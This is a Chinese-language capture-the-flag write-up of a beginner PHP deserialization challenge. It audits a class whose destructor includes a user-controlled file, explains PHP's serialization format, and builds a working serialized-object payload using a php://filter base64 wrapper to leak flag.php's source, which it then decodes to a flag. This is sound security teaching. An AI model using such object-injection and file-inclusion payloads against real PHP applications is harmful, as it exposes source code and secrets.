1.leve1-[本地复现]-[析构方法的利用]-爱代码爱编程
我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
PHP反序列化漏洞
leve1-[本地复现]-[析构方法的利用]
1.题目描述
<?php
include "flag.php";
class Connection
{
public $file;
public function __construct($file)
{
$this->file = $file;
}
public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}
public function __destruct()
{
include($this->file);
}
}
if (isset($_GET['un'])) {
$obj2 = unserialize($_GET['un']);
} else {
highlight_file(__file__);
}
2.代码审计
通读代码:
<?php
include "flag.php"; // 文件包含flag.php,一般就是用来提示说明key值或flag值在flag.php里面
class Connection // 定义一个以Connection为名的类
{
public $file; // 定义一个以file为名的公有属性
public function __construct($file) // 定义一个以file为参数的公有构造方法__construct()
{ // 构造方法:当前类的实例化对象被创建的时候,自动被调用
$this->file = $file; // 表示属性初始化
}
public function __sleep() // 定义一个魔术方法__sleep()
{ // sleep方法:当前类的实例化对象被序列化的时候,自动被调用
$this->file = 'sleep.txt'; // 变量赋值为sleep.txt
return array('file'); // 返回数组array
}
public function __destruct() // 定义一个析构方法__destruct()
{ // 析构方法:当前类的实例化对象被销毁的时候,自动被调用
include($this->file); // 文件包含以file变量值为名的文件
}
}
if (isset($_GET['un'])) { // 判断是否存在GET传递的un参数或参数值是否为NULL值
$obj2 = unserialize($_GET['un']); // 若传递un参数值且不为NULL值,则反序列化该值
} else {
highlight_file(__file__); // 否则,显示当前页面源码
}
分析所得:
- flag值位置:存在于当前目录下的flag.php页面内
- 后台存在反序列化函数
- 后台存在不正当使用魔术方法的行为
- 后台存在文件包含漏洞
- 用于对传入的反序列化的内容可控
3.解题过程
第一步:分析流程
- 想要获得flag值,就要包含flag.php;(注意:需要用到php://filter伪协议读取flag.php的源码,虽然php文件中对于符合php语法规范的要解析执行,对于不符合php语法规范的直接读取,但是注释的内容不会解析执行,也不会在前台显示,因此位于注释中的flag是不能够直接包含出来的,我们此时就需要读取页面的源码来获得flag值)
- 想要包含flag.php,就要执行析构方法并且让当前类的file属性的值为flag.php
- 想要执行析构方法,就要有一个当前类的实例化对象被销毁(只要脚本执行完毕,对象会自动被销毁,此时就会执行析构方法,进行文件包含了)(当然了,后台若使用unset()函数也可以人为的销毁对象)
第二步:根据以上步骤构造payload
<?php
class Connection
{
public $file='php://filter/convert.base64-encode/resource=flag.php';
}
$chen = new Connection();
echo serialize($chen);
//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
O:表示对象
10:表示对象名长度为10
Connection:为对象名
1:表示当前实例化对象的属性有1个
类需要用{}括起来
s:表示属性名为字符串类型
4:表示属性名长度为4
file:表示属性名
属性和属性之间需要分号分割,属性和属性值之间也需要分号分割
s:表示属性值为字符串类型
52:表示属性值得长度为52
file";s:52:"php://filter/convert.base64-encode/resource=flag.php:表示属性值
因此payload,如下:
?un=O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
第三步:传入payload,获取flag.php页面源码
第四步:解码结果,得到flag
//flag{3a8a0e34b5c6577ed54da625b292fca3}
4.总结
很简单的一道题,只是php://filter伪协议我没有提及,其他的很详细了